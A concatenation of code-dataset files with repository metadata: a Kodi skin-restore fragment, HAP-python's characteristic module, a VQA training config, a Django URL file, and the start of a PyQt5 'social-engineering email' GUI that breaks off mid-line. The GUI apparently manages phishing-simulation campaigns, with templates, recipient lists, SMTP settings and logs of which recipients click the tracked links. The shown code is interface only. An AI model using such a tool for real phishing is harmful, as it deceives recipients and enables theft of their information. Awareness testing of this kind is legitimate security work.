os.path.exists(tempgui) else GUISETTINGS if not os.path.exists(gui): return False control.log("Reading gui file: %s" % gui) guif = open(gui, 'r+') msg = guif.read().replace('\n','').replace('\r','').replace('\t','').replace(' ',''); guif.close() control.log("Opening gui settings") match = re.compile('<lookandfeel>.+?<ski.+?>(.+?)</skin>.+?</lookandfeel>').findall(msg) control.log("Matches: %s" % str(match)) if len(match) > 0: skinid = match[0] addonxml = os.path.join(ADDONS, match[0], 'addon.xml') if os.path.exists(addonxml): addf = open(addonxml, 'r+') msg2 = addf.read().replace('\n','').replace('\r','').replace('\t',''); addf.close() match2 = re.compile('<addon.+?ame="(.+?)".+?>').findall(msg2) if len(match2) > 0: skinname = match2[0] else: skinname = 'no match' else: skinname = 'no file' control.log("[Default Skin Check] Skin name: %s" % skinname) control.log("[Default Skin Check] Skin id: %s" % skinid) control.setSetting('defaultskin', skinid) control.setSetting('defaultskinname', skinname) control.setSetting('defaultskinignore', 'false') if os.path.exists(tempgui): control.log("Deleting Temp Gui File.") os.remove(tempgui) control.log("[Default Skin Check] End") def checkSkin(): control.loga("Invalid Skin Check Start") DEFAULTSKIN = setting('defaultskin') DEFAULTNAME = setting('defaultskinname') DEFAULTIGNORE = setting('defaultskinignore') gotoskin = False if not DEFAULTSKIN == '': if os.path.exists(os.path.join(ADDONS, DEFAULTSKIN)): if DIALOG.yesno(AddonTitle, "[COLOR %s]It seems that the skin has been set back to [COLOR %s]%s[/COLOR]" % (COLOR2, COLOR1, SKIN[5:].title()), "Would you like to set the skin back to:[/COLOR]", '[COLOR %s]%s[/COLOR]' % (COLOR1, DEFAULTNAME)): gotoskin = DEFAULTSKIN gotoname = DEFAULTNAME else: control.loga("Skin was not reset"); control.setSetting('defaultskinignore', 'true'); gotoskin = False else: control.setSetting('defaultskin', ''); control.setSetting('defaultskinname', ''); DEFAULTSKIN = ''; DEFAULTNAME = '' if DEFAULTSKIN == '': skinname = [] skinlist = [] for folder in glob.glob(os.path.join(ADDONS, 'skin.*/')): xml = "%s/addon.xml" % folder if os.path.exists(xml): f = open(xml,mode='r'); g = f.read().replace('\n','').replace('\r','').replace('\t',''); f.close(); match = re.compile('<addon.+?id="(.+?)".+?>').findall(g) match2 = re.compile('<addon.+?name="(.+?)".+?>').findall(g) control.loga("%s: %s" % (folder, str(match[0]))) if len(match) > 0: skinlist.append(str(match[0])); skinname.append(str(match2[0])) else: control.loga("ID not found for %s" % folder) else: control.loga("ID not found for %s" % folder) if len(skinlist) > 0: if len(skinlist) > 1: if DIALOG.yesno(control.AddonTitle, "[COLOR %s]It seems that the skin has been set back to [COLOR %s]%s[/COLOR]" % (COLOR2, COLOR1, SKIN[5:].title()), "Would you like to view a list of avaliable skins?[/COLOR]"): choice = DIALOG.select("Select skin to switch to!", skinname) if choice == -1: control.loga("Skin was not reset"); control.setSetting('defaultskinignore', 'true') else: gotoskin = skinlist[choice] gotoname = skinname[choice] else: control.loga("Skin was not reset"); control.setSetting('defaultskinignore', 'true') else: if DIALOG.yesno(control.AddonTitle, "It seems that the skin has been set back to [B]%s[/B]" % (SKIN[5:].title()), "Would you like to set the skin back to: ", '[B] %s [/B]' % (skinname[0])): gotoskin = skinlist[0] gotoname = skinname[0] else: control.loga("Skin was not reset"); control.setSetting('defaultskinignore', 'true') else: control.loga("No skins found in addons folder."); control.setSetting('defaultskinignore', 'true'); gotoskin = False if gotoskin: swapSkins(gotoskin) x = 0 control.sleep(1000) while not control.condVisibility("Window.isVisible(yesnodialog)") and x < 150: x += 1 control.sleep(200) if control.condVisibility("Window.isVisible(yesnodialog)"): control.execute('SendClick(11)') lookandFeelData('restore') else: control.Notify(control.AddonTitle,'Skin Swap Timed Out!') control.loga("Invalid Skin Check End")

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false

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0

null

0

null

0

1

0

86939231df10a74a6b6c8263b5d61c5806d7e19e

10,360

py

Python

pyhap/characteristic.py

bdraco/HAP-python

a2a5ce109d08af2f4f5bda4075f2176a98123806

[ "Apache-2.0" ]

null

pyhap/characteristic.py

bdraco/HAP-python

a2a5ce109d08af2f4f5bda4075f2176a98123806

[ "Apache-2.0" ]

null

pyhap/characteristic.py

bdraco/HAP-python

a2a5ce109d08af2f4f5bda4075f2176a98123806

[ "Apache-2.0" ]

null

""" All things for a HAP characteristic. A Characteristic is the smallest unit of the smart home, e.g. a temperature measuring or a device status. """ import logging from pyhap.const import ( HAP_PERMISSION_READ, HAP_REPR_DESC, HAP_REPR_FORMAT, HAP_REPR_IID, HAP_REPR_MAX_LEN, HAP_REPR_PERM, HAP_REPR_TYPE, HAP_REPR_VALID_VALUES, HAP_REPR_VALUE, ) from .util import hap_type_to_uuid, uuid_to_hap_type logger = logging.getLogger(__name__) # ### HAP Format ### HAP_FORMAT_BOOL = "bool" HAP_FORMAT_INT = "int" HAP_FORMAT_FLOAT = "float" HAP_FORMAT_STRING = "string" HAP_FORMAT_ARRAY = "array" HAP_FORMAT_DICTIONARY = "dictionary" HAP_FORMAT_UINT8 = "uint8" HAP_FORMAT_UINT16 = "uint16" HAP_FORMAT_UINT32 = "uint32" HAP_FORMAT_UINT64 = "uint64" HAP_FORMAT_DATA = "data" HAP_FORMAT_TLV8 = "tlv8" HAP_FORMAT_DEFAULTS = { HAP_FORMAT_BOOL: False, HAP_FORMAT_INT: 0, HAP_FORMAT_FLOAT: 0.0, HAP_FORMAT_STRING: "", HAP_FORMAT_ARRAY: "", HAP_FORMAT_DICTIONARY: "", HAP_FORMAT_UINT8: 0, HAP_FORMAT_UINT16: 0, HAP_FORMAT_UINT32: 0, HAP_FORMAT_UINT64: 0, HAP_FORMAT_DATA: "", HAP_FORMAT_TLV8: "", } HAP_FORMAT_NUMERICS = ( HAP_FORMAT_INT, HAP_FORMAT_FLOAT, HAP_FORMAT_UINT8, HAP_FORMAT_UINT16, HAP_FORMAT_UINT32, HAP_FORMAT_UINT64, ) # ### HAP Units ### HAP_UNIT_ARC_DEGREE = "arcdegrees" HAP_UNIT_CELSIUS = "celsius" HAP_UNIT_LUX = "lux" HAP_UNIT_PERCENTAGE = "percentage" HAP_UNIT_SECONDS = "seconds" # ### Properties ### PROP_FORMAT = "Format" PROP_MAX_VALUE = "maxValue" PROP_MIN_STEP = "minStep" PROP_MIN_VALUE = "minValue" PROP_PERMISSIONS = "Permissions" PROP_UNIT = "unit" PROP_VALID_VALUES = "ValidValues" PROP_NUMERIC = (PROP_MAX_VALUE, PROP_MIN_VALUE, PROP_MIN_STEP, PROP_UNIT) class CharacteristicError(Exception): """Generic exception class for characteristic errors.""" class Characteristic: """Represents a HAP characteristic, the smallest unit of the smart home. A HAP characteristic is some measurement or state, like battery status or the current temperature. Characteristics are contained in services. Each characteristic has a unique type UUID and a set of properties, like format, min and max values, valid values and others. """ __slots__ = ( "broker", "display_name", "properties", "type_id", "value", "getter_callback", "setter_callback", "service", "_uuid_str", "_loader_display_name", ) def __init__(self, display_name, type_id, properties): """Initialise with the given properties. :param display_name: Name that will be displayed for this characteristic, i.e. the `description` in the HAP representation. :type display_name: str :param type_id: UUID unique to this type of characteristic. :type type_id: uuid.UUID :param properties: A dict of properties, such as Format, ValidValues, etc. :type properties: dict """ self.broker = None self.display_name = display_name self.properties = properties self.type_id = type_id self.value = self._get_default_value() self.getter_callback = None self.setter_callback = None self.service = None self._uuid_str = uuid_to_hap_type(type_id) self._loader_display_name = None def __repr__(self): """Return the representation of the characteristic.""" return "<characteristic display_name={} value={} properties={}>".format( self.display_name, self.value, self.properties ) def _get_default_value(self): """Return default value for format.""" if self.properties.get(PROP_VALID_VALUES): return min(self.properties[PROP_VALID_VALUES].values()) value = HAP_FORMAT_DEFAULTS[self.properties[PROP_FORMAT]] return self.to_valid_value(value) def get_value(self): """This is to allow for calling `getter_callback` :return: Current Characteristic Value """ if self.getter_callback: # pylint: disable=not-callable self.value = self.to_valid_value(value=self.getter_callback()) return self.value def to_valid_value(self, value): """Perform validation and conversion to valid value.""" if self.properties.get(PROP_VALID_VALUES): if value not in self.properties[PROP_VALID_VALUES].values(): error_msg = "{}: value={} is an invalid value.".format( self.display_name, value ) logger.error(error_msg) raise ValueError(error_msg) elif self.properties[PROP_FORMAT] == HAP_FORMAT_STRING: value = str(value)[:256] elif self.properties[PROP_FORMAT] == HAP_FORMAT_BOOL: value = bool(value) elif self.properties[PROP_FORMAT] in HAP_FORMAT_NUMERICS: if not isinstance(value, (int, float)): error_msg = "{}: value={} is not a numeric value.".format( self.display_name, value ) logger.error(error_msg) raise ValueError(error_msg) value = min(self.properties.get(PROP_MAX_VALUE, value), value) value = max(self.properties.get(PROP_MIN_VALUE, value), value) return value def override_properties(self, properties=None, valid_values=None): """Override characteristic property values and valid values. :param properties: Dictionary with values to override the existing properties. Only changed values are required. :type properties: dict :param valid_values: Dictionary with values to override the existing valid_values. Valid values will be set to new dictionary. :type valid_values: dict """ if not properties and not valid_values: raise ValueError("No properties or valid_values specified to override.") if properties: self.properties.update(properties) if valid_values: self.properties[PROP_VALID_VALUES] = valid_values try: self.value = self.to_valid_value(self.value) except ValueError: self.value = self._get_default_value() def set_value(self, value, should_notify=True): """Set the given raw value. It is checked if it is a valid value. If not set_value will be aborted and an error message will be displayed. `Characteristic.setter_callback` You may also define a `setter_callback` on the `Characteristic`. This will be called with the value being set as the arg. .. seealso:: Characteristic.value :param value: The value to assign as this Characteristic's value. :type value: Depends on properties["Format"] :param should_notify: Whether a the change should be sent to subscribed clients. Notify will be performed if the broker is set. :type should_notify: bool """ logger.debug("set_value: %s to %s", self.display_name, value) value = self.to_valid_value(value) self.value = value if should_notify and self.broker: self.notify() def client_update_value(self, value, sender_client_addr=None): """Called from broker for value change in Home app. Change self.value to value and call callback. """ logger.debug( "client_update_value: %s to %s from client: %s", self.display_name, value, sender_client_addr, ) self.value = value self.notify(sender_client_addr) if self.setter_callback: # pylint: disable=not-callable self.setter_callback(value) def notify(self, sender_client_addr=None): """Notify clients about a value change. Sends the value. .. seealso:: accessory.publish .. seealso:: accessory_driver.publish """ self.broker.publish(self.value, self, sender_client_addr) # pylint: disable=invalid-name def to_HAP(self): """Create a HAP representation of this Characteristic. Used for json serialization. :return: A HAP representation. :rtype: dict """ hap_rep = { HAP_REPR_IID: self.broker.iid_manager.get_iid(self), HAP_REPR_TYPE: self._uuid_str, HAP_REPR_PERM: self.properties[PROP_PERMISSIONS], HAP_REPR_FORMAT: self.properties[PROP_FORMAT], } # HAP_REPR_DESC (description) is optional and takes up # quite a bit of space in the payload. Only include it # if it has been changed from the default loader version if ( not self._loader_display_name or self._loader_display_name != self.display_name ): hap_rep[HAP_REPR_DESC] = self.display_name value = self.get_value() if self.properties[PROP_FORMAT] in HAP_FORMAT_NUMERICS: hap_rep.update( {k: self.properties[k] for k in self.properties.keys() & PROP_NUMERIC} ) if PROP_VALID_VALUES in self.properties: hap_rep[HAP_REPR_VALID_VALUES] = sorted( self.properties[PROP_VALID_VALUES].values() ) elif self.properties[PROP_FORMAT] == HAP_FORMAT_STRING: if len(value) > 64: hap_rep[HAP_REPR_MAX_LEN] = min(len(value), 256) if HAP_PERMISSION_READ in self.properties[PROP_PERMISSIONS]: hap_rep[HAP_REPR_VALUE] = value return hap_rep @classmethod def from_dict(cls, name, json_dict, from_loader=False): """Initialize a characteristic object from a dict. :param json_dict: Dictionary containing at least the keys `Format`, `Permissions` and `UUID` :type json_dict: dict """ type_id = hap_type_to_uuid(json_dict.pop("UUID")) char = cls(name, type_id, properties=json_dict) if from_loader: char._loader_display_name = ( # pylint: disable=protected-access char.display_name ) return char

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0.128342

0

null

0

null

0

1

0

8693c080676cb2787d00c99c4612bc9e39e2bff8

1,767

py

Python

configs/_base_/datasets/uniter/vqa_dataset_uniter.py

linxi1158/iMIX

af87a17275f02c94932bb2e29f132a84db812002

[ "Apache-2.0" ]

23

2021-06-26T08:45:19.000Z

2022-03-02T02:13:33.000Z

configs/_base_/datasets/uniter/vqa_dataset_uniter.py

XChuanLee/iMIX

99898de97ef8b45462ca1d6bf2542e423a73d769

[ "Apache-2.0" ]

null

configs/_base_/datasets/uniter/vqa_dataset_uniter.py

XChuanLee/iMIX

99898de97ef8b45462ca1d6bf2542e423a73d769

[ "Apache-2.0" ]

9

2021-06-10T02:36:20.000Z

2021-11-09T02:18:16.000Z

dataset_type = 'UNITER_VqaDataset' data_root = '/home/datasets/mix_data/UNITER/VQA/' train_datasets = ['train'] test_datasets = ['minival'] # name not in use, but have defined one to run vqa_cfg = dict( train_txt_dbs=[ data_root + 'vqa_train.db', data_root + 'vqa_trainval.db', data_root + 'vqa_vg.db', ], train_img_dbs=[ data_root + 'coco_train2014/', data_root + 'coco_val2014', data_root + 'vg/', ], val_txt_db=data_root + 'vqa_devval.db', val_img_db=data_root + 'coco_val2014/', ans2label_file=data_root + 'ans2label.json', max_txt_len=60, conf_th=0.2, max_bb=100, min_bb=10, num_bb=36, train_batch_size=20480, # 5120, val_batch_size=40960, # 10240, ) BUCKET_SIZE = 8192 train_data = dict( samples_per_gpu=vqa_cfg['train_batch_size'], workers_per_gpu=4, pin_memory=True, batch_sampler=dict( type='TokenBucketSampler', bucket_size=BUCKET_SIZE, batch_size=vqa_cfg['train_batch_size'], drop_last=True, size_multiple=8, ), data=dict( type=dataset_type, datacfg=vqa_cfg, train_or_val=True, ), ) test_data = dict( samples_per_gpu=vqa_cfg['val_batch_size'], workers_per_gpu=4, batch_sampler=dict( type='TokenBucketSampler', bucket_size=BUCKET_SIZE, batch_size=vqa_cfg['val_batch_size'], drop_last=False, size_multiple=8, ), pin_memory=True, data=dict( type=dataset_type, datacfg=vqa_cfg, train_or_val=False, ), ) post_processor = dict( type='Evaluator', metrics=[dict(type='UNITER_AccuracyMetric')], dataset_converters=[dict(type='UNITER_DatasetConverter')], )

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0.63837

234

1,767

4.431624

0.358974

0.077146

0.04243

0.037608

0.358727

0.32594

0.281581

0.229508

0

0.038777

0.241087

1,767

72

76

24.541667

0.734526

0.032258

0

0.363636

0

0.186987

0.046307

0

1

0

false

0

null

0

null

0

1

0

869425b882c792777c4c9df4c4e4ede390b45006

752

py

Python

students/k3340/laboratory_works/laboratory_works/Arlakov_Denis/laboratiry_work_2_and_3/lab/django-react-ecommerce-master/home/urls.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

10

2020-03-20T09:06:12.000Z

2021-07-27T13:06:02.000Z

students/k3340/laboratory_works/laboratory_works/Arlakov_Denis/laboratiry_work_2_and_3/lab/django-react-ecommerce-master/home/urls.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

134

2020-03-23T09:47:48.000Z

2022-03-12T01:05:19.000Z

students/k3340/laboratory_works/laboratory_works/Arlakov_Denis/laboratiry_work_2_and_3/lab/django-react-ecommerce-master/home/urls.py

TonikX/ITMO_ICT_-WebProgramming_2020

ba566c1b3ab04585665c69860b713741906935a0

[ "MIT" ]

71

2020-03-20T12:45:56.000Z

2021-10-31T19:22:25.000Z

from django.conf import settings from django.conf.urls.static import static from django.contrib import admin from django.urls import path, include, re_path from django.views.generic import TemplateView urlpatterns = [ path('api-auth/', include('rest_framework.urls')), path('rest-auth/', include('rest_auth.urls')), path('rest-auth/registration/', include('rest_auth.registration.urls')), path('admin/', admin.site.urls), path('api/', include('core.api.urls')), ] if settings.DEBUG: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) if not settings.DEBUG: urlpatterns += [re_path(r'^.*', TemplateView.as_view(template_name='index.html'))]

32.695652

78

0.678191

94

752

5.319149

0.393617

0.1

0.056

0.064

0

0.179521

752

22

79

34.181818

0.810373

0

0.183511

0.066489

0

1

0

false

0

0.277778

0

0.277778

0

null

0

null

0

1

0

869447ef2f6a217e512b23fd0c00a4c4fa0f87a0

22,881

py

Python

20200416_Socialmail/mailserverUi.py

karta1782310/python-docx-automated-report-generation

f0e02a50a9e9547d131e583be0711aad72f08b51

[ "MIT" ]

null

20200416_Socialmail/mailserverUi.py

karta1782310/python-docx-automated-report-generation

f0e02a50a9e9547d131e583be0711aad72f08b51

[ "MIT" ]

null

20200416_Socialmail/mailserverUi.py

karta1782310/python-docx-automated-report-generation

f0e02a50a9e9547d131e583be0711aad72f08b51

[ "MIT" ]

null

#!/bin/bash # -*- coding: UTF-8 -*- # 基本控件都在这里面 from PyQt5.QtWebEngineWidgets import QWebEngineView from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog, QLabel, QLineEdit, QPushButton, QComboBox, QCheckBox, QDateTimeEdit, QTextEdit, QTabWidget, QTableWidget, QTableWidgetItem, QHeaderView) from PyQt5.QtGui import QPalette, QColor, QBrush from PyQt5.QtCore import Qt, QDateTime from pyqtgraph import GraphicsLayoutWidget, setConfigOption, setConfigOptions import qdarkstyle, sys import mylibrary.genmail as gm from GenAndSendMail import insert_send_mail from server.database import Database from server.sendmail import Smtp from server.client import Client from email import generator from pandas import DataFrame from copy import deepcopy class SubWindow(QWidget): def __init__(self): super().__init__() self.resize(400,100) self.main_layout = QGridLayout() self.setLayout(self.main_layout) self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) self.main_layout.addWidget(QLabel('收件人'), 0, 0, 1, 1) self.in_recipient = QLineEdit() self.main_layout.addWidget(self.in_recipient, 0, 1, 1, 5) self.btn_send = QPushButton('寄送') self.main_layout.addWidget(self.btn_send, 1, 5, 1, 1) class MailserverUi(QMainWindow): def __init__(self): super().__init__() setConfigOption('background', '#19232D') setConfigOption('foreground', 'd') setConfigOptions(antialias = True) # self.resize(720,500) self.init_ui() self.data_smtp = [] self.data_db = [] self.data_logs = [] self.data_temp_logs = [] # self.sub_win = SubWindow() # 默認狀態欄 self.status = self.statusBar() self.status.showMessage("開發者: 鄭鈺城, 聯絡資訊: anthonycheng@systex.com") # 標題欄 self.setWindowTitle("社交郵件工程") self.setWindowOpacity(1) # 窗口透明度 self.main_layout.setSpacing(0) self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) self.main_widget.setStyleSheet( """ QComboBox::item:checked { height: 12px; border: 1px solid #32414B; margin-top: 0px; margin-bottom: 0px; padding: 4px; padding-left: 0px; } """ ) def init_ui(self): # 創建視窗主部件 self.main_widget = QWidget() # 創建主部件的網格佈局 self.main_layout = QGridLayout() # 設置窗口主部件佈局為網格佈局 self.main_widget.setLayout(self.main_layout) # 創建左側部件 self.left_widget = QWidget() self.left_widget.setObjectName('left_widget') self.left_layout = QGridLayout() self.left_widget.setLayout(self.left_layout) # 創建右側部件 self.right_widget = QWidget() self.right_widget.setObjectName('right_widget') self.right_layout = QGridLayout() self.right_widget.setLayout(self.right_layout) # 左側部件在第0行第0列，佔12行3列 self.main_layout.addWidget(self.left_widget, 0, 0, 12, 3) # 右側部件在第0行第3列，佔12行8列 self.main_layout.addWidget(self.right_widget, 0, 3, 12, 8) # 設置視窗主部件 self.setCentralWidget(self.main_widget) # 主要功能按鈕 self.btn_sendmail = QPushButton("發送信件") self.btn_sendmail.clicked.connect(self.display_send_mail) self.btn_smtp = QPushButton("系統設定") self.btn_smtp.clicked.connect(self.display_smtp_setting) self.btn_db = QPushButton("資料庫設定") self.btn_db.clicked.connect(self.display_db_setting) self.btn_update_eml = QPushButton("修改樣板") self.btn_update_eml.clicked.connect(self.display_update_eml) self.btn_get_logs = QPushButton("觸發明細") self.btn_get_logs.clicked.connect(self.display_logs) self.btn_download_logs = QPushButton("下載觸發明細") self.btn_download_logs.clicked.connect(self.logs_download) self.quit_btn = QPushButton("退出") self.quit_btn.clicked.connect(self.quit_act) self.left_layout.addWidget(self.btn_sendmail, 2, 0, 1, 3) self.left_layout.addWidget(self.btn_smtp, 3, 0, 1, 3) self.left_layout.addWidget(self.btn_db, 4, 0, 1, 3) self.left_layout.addWidget(self.btn_update_eml, 5, 0, 1, 3) self.left_layout.addWidget(self.btn_get_logs, 6, 0, 1, 3) self.left_layout.addWidget(self.btn_download_logs, 7, 0, 1, 3) self.left_layout.addWidget(self.quit_btn, 8, 0, 1, 3) # 主要功能查詢 self.in_data = QLineEdit() self.in_data.setPlaceholderText("暫無") self.left_layout.addWidget(self.in_data, 1, 0, 1, 3) # 主要功能 log self.query_result = QTableWidget() self.left_layout.addWidget(self.query_result, 9, 0, 2, 3) self.query_result.verticalHeader().setVisible(False) self.right_display = GraphicsLayoutWidget() self.right_layout.addWidget(self.right_display, 0, 3, 12, 8) # 右側物件: sendmail self.in_eml_type = QLineEdit() self.in_eml_template = QLineEdit() self.btn_eml_browse = QPushButton('瀏覽') self.btn_eml_browse.clicked.connect(lambda: self.open_eml(self.in_eml_template)) self.in_recipient_group = QLineEdit() self.in_recipient_excel = QLineEdit() self.btn_recipient_browse = QPushButton('瀏覽') self.btn_recipient_browse.clicked.connect(lambda: self.open_excel(self.in_recipient_excel)) self.in_annex_file = QLineEdit() self.btn_annex_file = QPushButton('瀏覽') self.btn_annex_file.clicked.connect(lambda: self.open_word(self.in_annex_file)) self.in_scheduler = QDateTimeEdit(QDateTime.currentDateTime()) self.in_scheduler.setCalendarPopup(True) self.in_scheduler.setDisplayFormat('yyyy-MM-dd hh:mm') self.cb_scheduler = QCheckBox('使用') self.btn_sendmail_start = QPushButton('執行') self.btn_sendmail_start.clicked.connect(self.send_mail) # 右側物件: smtp self.in_smtp_host = QLineEdit() self.in_smtp_port = QLineEdit() self.in_smtp_user = QLineEdit() self.in_smtp_password = QLineEdit() self.cb_smtp_ssl = QCheckBox('使用') self.in_smtp_test = QLineEdit() self.btn_smtp_save = QPushButton('儲存') self.btn_smtp_save.clicked.connect(lambda: self.save_data(self.data_smtp)) self.btn_smtp_test = QPushButton('測試') self.btn_smtp_test.clicked.connect(self.show_sub_win) # 右側物件: db self.in_db_host = QLineEdit() self.in_db_port = QLineEdit() self.in_db_user = QLineEdit() self.in_db_password = QLineEdit() self.in_db_database = QLineEdit() self.in_db_domain = QLineEdit() self.in_db_domain.setPlaceholderText('回收風險資訊動作的網址') self.btn_db_save = QPushButton('儲存') self.btn_db_save.clicked.connect(lambda: self.save_data(self.data_db)) # 右側物件: update eml self.in_edit_sender = QLineEdit() self.in_edit_sender_name = QLineEdit() self.cb_edit_annex = QCheckBox('是') self.in_edit_annex = QLineEdit() self.btn_edit_annex = QPushButton('瀏覽') self.btn_edit_annex.clicked.connect(lambda: self.open_annex(self.in_edit_annex)) self.in_edit_subject = QLineEdit() self.mail_tab = QTabWidget() self.mail_tab.setDocumentMode(True) self.mail_tab.currentChanged.connect(self.print_html) self.mail_tab_1 = QWidget() self.mail_tab_2 = QWidget() self.mail_tab.addTab(self.mail_tab_1, 'Html') self.mail_tab.addTab(self.mail_tab_2, 'Web') self.tab_1 = QGridLayout() self.tab_2 = QGridLayout() self.tab_1.setContentsMargins(0,0,0,0) self.tab_2.setContentsMargins(0,0,0,0) self.mail_tab_1.setLayout(self.tab_1) self.mail_tab_2.setLayout(self.tab_2) self.in_edit_html = QTextEdit() self.in_edit_web = QWebEngineView() self.tab_1.addWidget(self.in_edit_html, 1, 1, 1, 1) self.tab_2.addWidget(self.in_edit_web, 1, 1, 1, 1) self.btn_edit_eml_reset = QPushButton('清除') self.btn_edit_eml_reset.clicked.connect(self.eml_reset) self.btn_edit_eml_read = QPushButton('讀取') self.btn_edit_eml_read.clicked.connect(self.eml_open) self.btn_edit_eml_save = QPushButton('儲存') self.btn_edit_eml_save.clicked.connect(self.eml_save) # 右側物件: logs self.tbw_logs = QTableWidget() self.tbw_logs.verticalHeader().setVisible(False) self.cmb_logs_choice = QComboBox() self.in_logs_data = QLineEdit() self.in_logs_data.setPlaceholderText("輸入資料") self.btn_logs_search = QPushButton('執行') self.btn_logs_search.clicked.connect(self.logs_change) def display_send_mail(self): self.clear_layout(self.right_layout) labels = [ "信件類型 :", "信件模板 :", " 收件人群組 :", "收件人資料 :", '附件資料 :',"設定排程 :"] for i, label in enumerate(labels): self.right_layout.addWidget(QLabel(label), i, 3, 1, 1, Qt.AlignRight) self.right_layout.addWidget(self.in_eml_type, 0, 4, 1, 7) self.right_layout.addWidget(self.in_eml_template, 1, 4, 1, 6) self.right_layout.addWidget(self.btn_eml_browse, 1, 10, 1, 1) self.right_layout.addWidget(self.in_recipient_group, 2, 4, 1, 7) self.right_layout.addWidget(self.in_recipient_excel, 3, 4, 1, 6) self.right_layout.addWidget(self.btn_recipient_browse, 3, 10, 1, 1) self.right_layout.addWidget(self.in_annex_file , 4, 4, 1, 6) self.right_layout.addWidget(self.btn_annex_file, 4, 10, 1, 1) self.right_layout.addWidget(self.in_scheduler, 5, 4, 1, 6) self.right_layout.addWidget(self.cb_scheduler, 5, 10, 1, 1) self.right_layout.addWidget(self.btn_sendmail_start, 6, 9, 1, 2) def display_smtp_setting(self): self.clear_layout(self.right_layout) # 在右邊新增物件 labels = ["SMTP HOST :", "SMTP PORT :", "SMTP 帳號 :", "SMTP 密碼 :", "SMTP SSL :", " 測試信件內容 :"] for i, label in enumerate(labels): self.right_layout.addWidget(QLabel(label), i, 3, 1, 1, Qt.AlignRight) self.right_layout.addWidget(self.in_smtp_host, 0, 4, 1, 7) self.right_layout.addWidget(self.in_smtp_port, 1, 4, 1, 7) self.right_layout.addWidget(self.in_smtp_user, 2, 4, 1, 7) self.right_layout.addWidget(self.in_smtp_password, 3, 4, 1, 7) self.right_layout.addWidget(self.cb_smtp_ssl, 4, 4, 1, 7) self.right_layout.addWidget(self.in_smtp_test, 5, 4, 1, 7) self.right_layout.addWidget(self.btn_smtp_save, 6, 9, 1, 2) self.right_layout.addWidget(self.btn_smtp_test, 6, 7, 1, 2) def display_db_setting(self): self.clear_layout(self.right_layout) # 在右邊新增物件 labels = ["資料庫 HOST :", "資料庫 PORT :", "資料庫帳號 :", "資料庫密碼 :", "使用資料庫名稱 :", "回收網址 :"] for i, label in enumerate(labels): self.right_layout.addWidget(QLabel(label), i, 3, 1, 1, Qt.AlignRight) self.right_layout.addWidget(self.in_db_host, 0, 4, 1, 7) self.right_layout.addWidget(self.in_db_port, 1, 4, 1, 7) self.right_layout.addWidget(self.in_db_user, 2, 4, 1, 7) self.right_layout.addWidget(self.in_db_password, 3, 4, 1, 7) self.right_layout.addWidget(self.in_db_database, 4, 4, 1, 7) self.right_layout.addWidget(self.in_db_domain, 5, 4, 1, 7) self.right_layout.addWidget(self.btn_db_save, 6, 9, 1, 2) def display_update_eml(self): self.clear_layout(self.right_layout) labels = ["寄件人 :", "寄件人名稱 :", " 是否加入附件 :", "附件名稱 :", "主旨 :", "內容 :"] for i, label in enumerate(labels): self.label = QLabel(label) self.right_layout.addWidget(self.label, i, 3, 1, 1, Qt.AlignRight) self.right_layout.addWidget(self.in_edit_sender, 0, 4, 1, 7) self.right_layout.addWidget(self.in_edit_sender_name, 1, 4, 1, 7) self.right_layout.addWidget(self.cb_edit_annex, 2, 4, 1, 7) self.right_layout.addWidget(self.in_edit_annex, 3, 4, 1, 6) self.right_layout.addWidget(self.btn_edit_annex, 3, 10, 1, 1) self.right_layout.addWidget(self.in_edit_subject, 4, 4, 1, 7) self.right_layout.addWidget(self.mail_tab, 5, 4, 6, 7) self.right_layout.addWidget(self.btn_edit_eml_reset, 11, 5, 1, 2) self.right_layout.addWidget(self.btn_edit_eml_read, 11, 7, 1, 2) self.right_layout.addWidget(self.btn_edit_eml_save, 11, 9, 1, 2) def display_logs(self): self.data_temp_logs = [] self.tbw_logs.setRowCount(0) self.clear_layout(self.right_layout) self.right_layout.addWidget(self.tbw_logs, 1, 3, 11, 8) self.right_layout.addWidget(QLabel('查詢 :'), 0, 3, 1, 1) self.right_layout.addWidget(self.cmb_logs_choice, 0, 4, 1, 2) self.right_layout.addWidget(self.in_logs_data, 0, 6, 1, 3) self.right_layout.addWidget(self.btn_logs_search, 0, 9, 1, 2) try: db = Database(self.data_db[0], int(self.data_db[1]), self.data_db[2], self.data_db[3], self.data_db[4]) if self.data_db[:5] else Database() self.data_logs = db.get_logs() self.data_temp_logs = deepcopy(self.data_logs) if self.data_logs: row_num = len(self.data_logs) col_num = len(self.data_logs[0]) col_lst = list(self.data_logs[0].keys()) self.cmb_logs_choice.clear() self.cmb_logs_choice.addItems(col_lst) self.tbw_logs.setRowCount(row_num) self.tbw_logs.setColumnCount(col_num) self.tbw_logs.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents) self.tbw_logs.setHorizontalHeaderLabels(col_lst) for i in range(row_num): row_data = list(self.data_logs[i].values()) for j in range(col_num): temp_data = row_data[j] item = QTableWidgetItem(str(temp_data)) item.setForeground(QBrush(QColor(144, 182, 240))) self.tbw_logs.setItem(i, j, item) except: QMessageBox.warning(self, 'Failed!', '資料庫連結失敗！', QMessageBox.Ok) else: db.__disconnect__() def get_items_from_layout(self, layout): return [layout.itemAt(i).widget() for i in range(layout.count())] def save_data(self, data): items = self.get_items_from_layout(self.right_layout) data.clear() try: for item in items: if type(item) == type(QLineEdit()): data.append(item.text()) elif type(item) == type(QCheckBox()): data.append(item.isChecked()) QMessageBox.information(self, 'Success!', '儲存成功！', QMessageBox.Ok) except: QMessageBox.warning(self, 'Failed!', '儲存失敗！', QMessageBox.Ok) print(data) def clear_layout(self, layout): for i in reversed(range(layout.count())): layout.itemAt(i).widget().setParent(None) def open_eml(self, obj): file_name, _ = QFileDialog.getOpenFileName(self, "選取檔案", "./", "Eml Files (*.eml)") obj.setText(file_name) def open_excel(self, obj): file_name, _ = QFileDialog.getOpenFileName(self, "選取檔案", "./", "Excel Files (*.xlsx)") obj.setText(file_name) def open_word(self, obj): file_name, _ = QFileDialog.getOpenFileName(self, "選取檔案", "./", "Word Files (*.doc *.docx)") obj.setText(file_name) def open_annex(self, obj): file_name, _ = 